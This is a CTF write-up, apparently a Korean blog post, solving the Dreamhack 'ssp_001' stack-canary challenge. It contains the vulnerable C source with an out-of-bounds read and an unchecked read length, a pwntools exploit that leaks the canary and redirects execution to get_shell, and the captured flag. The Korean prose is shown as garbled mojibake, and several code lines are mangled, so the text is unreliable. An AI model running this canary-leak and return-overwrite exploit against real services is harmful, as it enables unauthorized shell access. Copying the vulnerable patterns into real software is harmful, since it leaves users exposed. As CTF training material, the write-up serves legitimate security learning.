Jastes 2022. 5. 23. 09:39


๋ฌธ์ œํ’€์ด

 

๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ๋จผ์ € ๋ณด์‹œ๋ฉด canary์ ์šฉ๊ณผ NX๊ฐ€ ์žˆ์ฃ  RELRO๋Š” ์ €๊ฒŒ ๋œ๊ฑด๊ฐ€?
Relro๋Š” ๋‹ค์Œ์— ์ž์„ธํžˆ ์„œ์ˆ ํ•  ์‹œ๊ฐ„์ด ์˜ค๊ฒ ์ฃ  ๊ทธ๋Ÿฌ๋‹ˆ ์ด ๋‚ด์šฉ์€ ํŒจ์Šคํ•˜๊ณ 

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด์„œ ๋ญ๊ฐ€ ์ทจ์•ฝํ•œ ์ฝ”๋“œ์ธ์ง€ ์‹œํ์–ด ์ฝ”๋”ฉ๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ ์ง€์ ๊นŒ์ง€ ํ•ด๋ณผ๊นŒ์š”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
 
void get_shell() {
    system("/bin/sh");
}
 
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
 
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
 
 
int main(int argc, char *argv[]) {
    unsigned char box[0x40= {};
    char name[0x40= {};
    char select[2= {};
    int idx = 0, name_len = 0;
 
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
 
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d"&idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d"&name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
cs

์ด ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. ์ œ๋ชฉ๊ณผ ์ฃผ์ œ๊ฐ€ ์ฃผ์ œ์ด๋ฏ€๋กœ ๋‹น์—ฐํžˆ BOF๊ฐ€ ์ ์–ด๋„ ๋‘ ๋ฒˆ ๋‚˜์˜ค๊ฒ ์ฃ 
์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด... 

์†”์งํžˆ ์ € case ๋ชจ๋‘ ์ทจ์•ฝํ•œ ์ฝ”๋“œ์ด๊ธด ํ•ด์š” ๋ญ๊ฐ€ ๋ฌธ์ œ์ธ์ง€ ํ•˜๋‚˜์”ฉ ์•Œ์•„๋ณผ๊นŒ์š”


์œ„ ์ฝ”๋“œ๋Š” BOF๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์ง€๋งŒ ์น˜๋ช…์ ์ธ ์ฝ”๋“œ ์‹คํ–‰๊นŒ์ง€๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ Canary๊ฐ’์„ ์ƒ์„ฑํ•˜๋Š”๋ฐ..
์™œ๋ƒํ•˜๋ฉด Box์˜ ๋ณ€์ˆ˜๋ช…์ธ ๋ณ€์ˆ˜ ๋ฐฐ์—ด์˜ ๊ธธ์ด๊ฐ€ 0x40์ด๋‹ˆ๊นŒ ๊ทธ ์ด์ƒ์œผ๋กœ ์ž…๋ ฅํ•˜์‹œ๋ฉด ๋˜๊ฒ ์ฃ 


 

๋‘ ๋ฒˆ์งธ ์ฝ”๋“œ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅ๊ฐ’์˜ ์ธ์ž์˜ ๊ธธ์ด๋ฅผ ์ง€์ •ํ•˜๊ธฐ์— ๋‹น์—ฐํžˆ BOF๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๊ฒ ์ฃ 
ํŠนํžˆ print_box์—์„œ ๊ฐ’์„ ์ถœ๋ ฅํ•˜๋ฏ€๋กœ ์ด ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด Canary ๊ฐ’์„ ์–ป์–ด ๋ฆญ์„ ์‹œ์ผœ์•ผํ•ฉ๋‹ˆ๋‹ค!

์œ„ ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜๋ฉด ์ฐธ ๋ถˆํŽธํ•˜๊ฒŒ 0x2๋งŒํผ ์ถœ๋ ฅ์„ ์กฐ๋”์”ฉ ํ•˜๋ฏ€๋กœ ์ด ์ ์„ ์ฃผ์˜ํ•ด์„œ ๋ฐ˜๋ณต๋ฌธ์œผ๋กœ
๊ฐ’์„ ์–ป์–ด ๋ˆ„์ ์‹œ์ผœ ์–ป์–ด Canary๋ฆญ์„ ์‹คํ–‰์‹œ์ผœ๋ด…์‹œ๋‹ค.


 

์ด์ œ ์–ป์€ ๊ฒƒ๋“ค๋กœ ์‚ฌ์ด์ฆˆ ํ™•์ธํ•˜๊ณ  BOF๋ฅผ ์ผ์œผํ‚ค๋ฉฐ ํ™•์ธํ•˜์‹œ๋ฉด ์™„๋ฒฝํ•˜๊ฒŒ ์ต์Šคํ”Œ๋กœ์ž‡!

์ฐธ๊ณ ๋กœ ๊ตฌ์„ฑ์€ ์•„๋ก€์™€ ๊ฐ™์ด ๋˜์–ด์žˆ์–ด์š”


์ฝ”๋“œ ์‹ฌ์ธต ๋ถ„์„!

์™ผ์ชฝ์€ IDA ์˜ค๋ฅธ์ชฝ์€ gdb

IDA(ํ˜น์€ gdb๋กœ ํ•˜์…”๋„ ๋˜์š”)๋กœ ๋ณด์‹œ๋ฉด var_8์— qword ptr(ebp-0x8)์ด๋ผ๋Š” ์ด์•ผ๊ธฐ์ด๋ฉฐ
gdb์—์„  main+25(ebp-0x8)๋กœ canary๊ฐ’์„ ์น˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
์ฐธ๊ณ ๋กœ ์ด ๋ฒ„ํผ๊ฐ’์€ [ebp-0x98]๋กœ ์žก์•˜๋Š”๋ฐ ebp-0x88๋กœ ์ฃผ์†Œ๋ฅผ ์น˜ํ™˜ํ•˜๋Š” stack alignment๋•œ์ด์ฃ 

๊ทธ๋Ÿฌํ•˜๋‹ค๋ฉด ์‹ค์ œ๋ก  ๋ฐฐ์šด ๋‚ด์šฉ๋Œ€๋กœ ๊ทธ๋ฆฌ๊ณ  ์ต์ˆ™ํ•ด์ง€๊ธฐ์œ„ํ•ด ๊ฐ’์„ ๋„ฃ๊ณ  ์‹คํ–‰ํ•˜๊ธฐ ์ง์ ‘ํ•ด๋ด์•ผ์ง€๋งŒ
๋” ์ข‹์€ ๋ฐฉ๋ฒ•์ด ์žˆ์ฃ  pwntools๋กœ ์ฝ”๋“œ๋ฅผ ์งœ๋ฉด์„œ ๋ฐ”๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ธ gdb.attach๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋˜์š”
์ž์„ธํ•œ ์‚ฌ์šฉ๋ฐฉ๋ฒ•์€ ์•„๋ก€ ๋งํฌ๋ฅผ ํ™•์ธํ•ด์ฃผ์„ธ์š”(์ง€๊ธˆ๊นŒ์ง„ ์ €๋„ ๋งŽ์ด ๋ณต์žกํ•œ ์ฝ”๋“œ๋ฅผ ํ•˜๋Š” ๊ฑด ์•„๋‹ˆ๋ผ ๋”ฑํžˆ..) 

์—ฌ๊ธฐ์„œ ์˜๊ตฌ์‹ฌ์ด ๋“ค์–ด์•ผ ์ •์ƒ์ธ ๋ถ€๋ถ„์ด ํ•˜๋‚˜ ์žˆ์–ด์š”
x86-64(x86)์ธ ์•„ํ‚คํ…์ฒ˜์— canary๊ฐ’์ด ์™œ 8byte๋ฅผ ๋ฐ›์„๊นŒ?
์•„๋งˆ stack alignment์˜ ์ด์œ ์—์„œ ๋ฐ›๊ฑฐ๋‚˜ ํ˜น์€ ์šฐ๋ฆฌ ์‹คํ–‰ํ•˜๋Š” ํ™˜๊ฒฝ์ด x64ํ™˜๊ฒฝ์œผ๋กœ ์ž๋™์œผ๋กœ ๋ฐ›๊ธฐ์—
๋ฉ”๋ชจ๋ฆฌ ์ตœ์ ํ™” ๋ฐ ๊ธฐํƒ€ ๋ณด์•ˆ์  ์ด์œ ๋กœ ์ปดํŒŒ์ผ ํ™˜๊ฒฝ์— ๋งž์ถ”์–ด ๋ฐ”๋€ ๊ฒƒ์œผ๋กœ ์ถ”์ธกํ•ฉ๋‹ˆ๋‹ค.. ์•„๋งˆ๋„?

 

pwntools gdb.attach ์‚ฌ์šฉ๋ฒ• - python process debugging

gdb.attach ์‚ฌ์šฉ๋ฒ• wargame์ด๋‚˜ ctf ๋ฌธ์ œ๋ฅผ ํ’€ ๋•Œ, ํ˜น์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ ํ•  ๋•Œ ํŒŒ์ด์ฌ์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ž์ฃผ์žˆ๋‹ค. example> p = process("binary") p.sendline("AAAA") ์ด ๋•Œ ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ๋ฐ์ดํ„ฐ๊ฐ€..

cosyp.tistory.com

์‹œ๋‚˜๋ฆฌ์˜ค ํŒŒ์•… ๋๋‚ฌ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณผ๊นŒ์š”?
์ฃผ์„ ๋‹ค ํ•ด๋†”์„œ ๋”ฑํžˆ ์ฝ”๋“œ ์„ค๋ช…์€ ์•ˆํ•ด๋„ ๋˜๊ฒ ์ฃ ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/usr/python3
from pwn import *
def slog(n, m): return success(':'.join([str(n), hex(m)]))
 
= process('./ssp_001')
#p = remote('host1.dreamhack.games', 15060)
context(arch='amd64', os='linux')
context.log_level = 'debug'
= ELF('./ssp_001')
 
#gdb disamble checking
#gdb.attach(p)
 
 
#[1] Get information buf(Canary and get_shell address)
sh = p32(e.symbols['get_shell'])    #get_shell addr getting
cnry = b''  #canary 4byte stack
 
p.sendlineafter('> ''F')
p.sendlineafter('input : ', b'A'*0x41)  #because frist byte is nullbyte so, name buf 40byte + 1byte(null_byte)
 
for idx in range(4):    # canary 4byte buf
    p.sendlineafter('> ''P')
    p.sendlineafter('index : ', chr(0x80 + idx))    #code is 02x ffush so, Repeat four times idx checking
    p.recvuntil('is : ')
    cnry += p.recvuntil('\n')[:2]    #because frist byte is null byte \x00
cnry = int(cnry, 16)
 
slog('Address Canary', cnry)
slog('Address get_shell', u32(sh))
 
 
#[2] Canary lack using
 
#payload = sh.rjust(0x40, u"A") + p32(cnry) + b'B'*0x4
payload = b'A'*0x40 + p32(cnry) + b'B'*0x8 + sh
 
 
# payload_len = len(payload.decode('utf-8', 'backslashreplace'))
p.sendlineafter('> ''E')
p.sendlineafter('Size : ''80')
p.sendafter('Name : ', payload)
 
p.interactive()
 
cs

์ฐธ๊ณ ๋กœ ์ „ ์ € ์ฝ”๋“œ์—์„œ canary ๋ฆญ ์–ป๋Š” ๊ณผ์ •์—์„œ cnry+= ์ด๋Ÿฐ ์‹์œผ๋กœ ํ•ด๋„ ๋ ์ค„ ์•Œ์•˜๋Š”๋ฐ
๋ฆฌํ‹€์—”๋””์•ˆ ์น˜ํ™˜ ๊ณผ์ •์ด๋‚˜ ๋ฐ›๋Š” ๊ณผ์ •์—์„œ ์ €๋Ÿฐ ์‹์œผ๋กœ ํ•˜๋ฉด ์•ˆ๋˜๋”๋ผ๊ณ ์š” ์™œ์ธ์ง€.. ๋”ฑํžˆ ์ดํ•ด๊ฐ€ ์•ˆ๊ฐ”๋Š”๋ฐ
์ฐฌ์ฐฌํžˆ ๋ด๋ณด์‹œ๋ฉด ์ดํ•ด๊ฐ€ ๋ ๊ฑฐ์˜ˆ์š” ๋‚˜๋จธ์ง€ ๋ชจ๋ฅด๋Š” ์ฝ”๋“œ๋„ ์ฒœ์ฒœํžˆ ๋ด๋ณด์„ธ์š”

์ฐธ๊ณ ๋กœ ์‹คํ–‰ํ•˜๋‹ค๋ณด๋ฉด ๋ง‰ ByteError ๋œจ๋ฉด์„œ ๋จธ๋ผ๋จธ๋ผ ๋œจ๋Š”๋ฐ ๋ฌด์‹œํ•˜์…”๋„ ๋˜์š”

DH{00c609773822372daf2b7ef9adbdb824}


์ฐธ๊ณ  ์ž๋ฃŒ

 

ssp_001

Desciption ์ด ๋ฌธ์ œ๋Š” ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(ssp_001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  SSP ๋ฐฉ์–ด ๊ธฐ๋ฒ•์„ ์šฐํšŒํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”

dreamhack.io

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

ssp_001

Desciption ์ด ๋ฌธ์ œ๋Š” ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(ssp_001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  SSP ๋ฐฉ์–ด ๊ธฐ๋ฒ•์„ ์šฐํšŒํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”

dreamhack.io